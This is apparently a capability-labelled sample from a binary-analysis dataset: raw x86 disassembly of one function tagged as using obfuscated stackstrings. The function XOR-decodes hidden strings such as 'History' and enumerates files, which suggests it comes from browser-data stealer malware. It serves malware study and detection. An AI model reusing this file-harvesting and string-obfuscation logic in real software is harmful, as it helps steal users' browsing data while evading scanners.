Function at 0x4117e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x468b2a
call fcn.004685c0
sub esp, 0x2a8
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [0x48a938], 0x10
mov eax, dword [ecx]
push esi
mov esi, 0x48a924
mov dword [ebp - 0x6c], eax
cmovae esi, dword [0x48a924]
push edi
call fcn.00435972
mov edx, esi
mov ecx, eax
call fcn.004354d9
push eax
call dword [0x46d1ac]
and dword [ebp - 0x18], ebx
mov esi, eax
mov dword [ebp - 0x20], esi
push 0x208
lea eax, [ebp - 0x2b4]
push 0
push eax
call fcn.004436b0
mov eax, dword [ebp - 0x18]
add esp, 0xc
push 0
push dword [eax + 0x489d1c]
lea eax, [ebp - 0x2b4]
push eax
push 0
call dword [0x46d2cc]
test eax, eax
je 0x411e59
push 4
call fcn.004473a2
mov edi, eax
mov dword [ebp - 0x68], edi
pop ecx
test edi, edi
je 0x411e59
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x489d18]
mov dword [edi], ecx
test ecx, ecx
je 0x411e59
push dword [eax + str.FindNextFileW]
lea eax, [ebp - 0x2b4]
push eax
call dword [0x46d1a8]
mov eax, dword [ebp - 0x18]
push ecx
cmp dword [eax + 0x489d18], 0x47a950
jne 0x411cd9
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0xac]
call fcn.00414acc
and dword [ebp - 4], 0
lea ecx, [ebp - 0xac]
or ebx, 1
mov dword [ebp - 0x10], ebx
call fcn.0040ccb2
test al, al
je 0x41190c
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00414acc
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x3c]
or ebx, 2
mov dword [ebp - 0x10], ebx
call fcn.0040cd0e
mov byte [ebp - 0x11], 1
test al, al
jne 0x411910
mov byte [ebp - 0x11], 0
test bl, 2
je 0x411920
lea ecx, [ebp - 0x3c]
and ebx, 0xfffffffd
call fcn.00413b3d
or dword [ebp - 4], 0xffffffff
test bl, 1
je 0x411937
lea ecx, [ebp - 0xac]
and ebx, 0xfffffffe
call fcn.00413b3d
cmp byte [ebp - 0x11], 0
je 0x411e59
push ecx
lea eax, [ebp - 0x2b4]
push eax
lea ecx, [ebp - 0xac]
call fcn.00414acc
lea eax, [ebp - 0xac]
mov dword [ebp - 4], 2
push eax
lea ecx, [ebp - 0x84]
call fcn.0040c695
lea ecx, [ebp - 0xac]
call fcn.00413b3d
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040d946
mov eax, dword [ebp - 0x74]
and dword [ebp - 0x74], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x70]
and dword [ebp - 0x70], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x94]
call fcn.0040d946
mov ecx, dword [ebp - 0x90]
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c], xmm0
and dword [ebp - 0x8c], 0
and dword [ebp - 0x88], 0
test ecx, ecx
je 0x4119db
call fcn.0040b03f
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x411cb2
mov ecx, eax
call fcn.0040c2ea
test al, al
je 0x411c97
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x2c], 0
add eax, 0x20
and dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x10], eax
call fcn.00413c55
or ebx, 4
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x3c]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 7
cmp dword [ebp - 0x28], 8
lea eax, [eax + 0x489d24]
push edi
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40f911
mov ecx, esi
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.00413c55
or ebx, 8
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x3c]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 8
cmp dword [ebp - 0x28], 8
push edi
cmovae esi, dword [ebp - 0x3c]
lea edi, [eax + 0x489d54]
sub esp, 0x18
mov ecx, esp
push edi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40def0
mov ecx, esi
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.00413c55
or ebx, 0x10
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 9
lea esi, [ebp - 0x3c]
cmp dword [ebp - 0x28], 8
push dword [ebp - 0x68]
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push edi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40d7ec
mov ecx, esi
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.00413c55
or ebx, 0x20
mov edi, dword [ebp - 0x68]
lea esi, [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
push ecx
push dword [ebp - 0x20]
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x28], 8
lea eax, [eax + 0x489d3c]
push edi
cmovae esi, dword [ebp - 0x3c]
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40e938
mov ecx, esi
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
cmp dword [ebp - 0x6c], 0
je 0x411c94
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.00413c55
or ebx, 0x40
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0xb
mov dl, 0x58
cmp dword [ebp - 0x28], 8
push ecx
cmovae eax, dword [ebp - 0x3c]
xor ecx, ecx
push esi
mov dword [ebp - 0x1c], eax
push edi
mov dword [ebp - 0x45], 0x2b311058
mov dword [ebp - 0x41], 0x212a372c
mov byte [ebp - 0x3d], 0
xor byte [ebp + ecx - 0x44], dl
inc ecx
cmp ecx, 7
jae 0x411bdd
mov dl, byte [ebp - 0x45]
jmp 0x411bce
sub esp, 0x18
mov byte [ebp - 0x3d], 0
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004133f0
mov ecx, dword [ebp - 0x1c]
mov edx, 0x410512
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
push dword [ebp - 0x10]
and dword [ebp - 0x2c], 0
lea ecx, [ebp - 0x3c]
and dword [ebp - 0x28], 0
call fcn.00413c55
or ebx, 0x80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 8
mov dl, 0x35
push ecx
cmovae eax, dword [ebp - 0x3c]
xor ecx, ecx
push esi
mov dword [ebp - 0x1c], eax
push edi
mov dword [ebp - 0x59], 0x465c7d35
mov dword [ebp - 0x55], 0x4c475a41
mov word [ebp - 0x51], 0x1f1b
mov byte [ebp - 0x4f], 0
xor byte [ebp + ecx - 0x58], dl
inc ecx
cmp ecx, 9
jae 0x411c64
mov dl, byte [ebp - 0x59]
jmp 0x411c55
sub esp, 0x18
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.004133f0
mov ecx, dword [ebp - 0x1c]
mov edx, 0x410512
call fcn.0040d574
add esp, 0x24
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.00413b3d
jmp 0x411c97
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x7c]
call fcn.0040c6e2
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x4119ea
mov eax, dword [ebp - 0x78]
jmp 0x411cb5
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x411cc0
mov ecx, eax
call fcn.0040b03f
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x80]
test ecx, ecx
je 0x411e59
call fcn.0040b03f
jmp 0x411e59
push esi
push edi
sub esp, 0x18
lea eax, [eax + 0x489d24]
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40f911
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
mov eax, dword [ebp - 0x18]
add esp, 0x20
push esi
push edi
sub esp, 0x18
lea esi, [eax + 0x489d54]
mov ecx, esp
push esi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40def0
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
add esp, 0x20
push dword [ebp - 0x20]
push edi
sub esp, 0x18
mov ecx, esp
push esi
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40d7ec
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
mov esi, dword [ebp - 0x20]
add esp, 0x20
mov eax, dword [ebp - 0x18]
push esi
push edi
sub esp, 0x18
lea eax, [eax + 0x489d3c]
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00413de2
mov edx, 0x40e938
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
add esp, 0x24
cmp dword [ebp - 0x6c], 0
je 0x411e3f
push ecx
push esi
push edi
mov cl, 0x5c
mov dword [ebp - 0x4e], 0x2f35145c
mov dword [ebp - 0x4a], 0x252e3328
xor edx, edx
mov byte [ebp - 0x46], 0
xor byte [ebp + edx - 0x4d], cl
inc edx
cmp edx, 7
jae 0x411dc8
mov cl, byte [ebp - 0x4e]
jmp 0x411db9
sub esp, 0x18
mov byte [ebp - 0x46], 0
lea eax, [ebp - 0x4d]
mov ecx, esp
push eax
call fcn.004133f0
mov edx, 0x410512
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
add esp, 0x20
mov dword [ebp - 0x64], 0x564c6d25
mov cl, 0x25
mov dword [ebp - 0x60], 0x5c574a51
mov word [ebp - 0x5c], 0xf0b
xor eax, eax
mov byte [ebp - 0x5a], 0
push esi
push edi
xor byte [ebp + eax - 0x63], cl
inc eax
cmp eax, 9
jae 0x411e1a
mov cl, byte [ebp - 0x64]
jmp 0x411e0b
sub esp, 0x18
mov byte [ebp - 0x5a], 0
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.004133f0
mov edx, 0x410512
lea ecx, [ebp - 0x2b4]
call fcn.0040d574
add esp, 0x24
mov edx, edi
lea ecx, [ebp - 0x2b4]
call fcn.0040d96e
mov edx, edi
lea ecx, [ebp - 0x2b4]
call fcn.0040df3e
mov ecx, dword [ebp - 0x18]
add ecx, 0x54
mov dword [ebp - 0x18], ecx
cmp ecx, 0xb7c
jb 0x41182d
test esi, esi
je 0x411e79
push esi
call dword [0x46d198]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret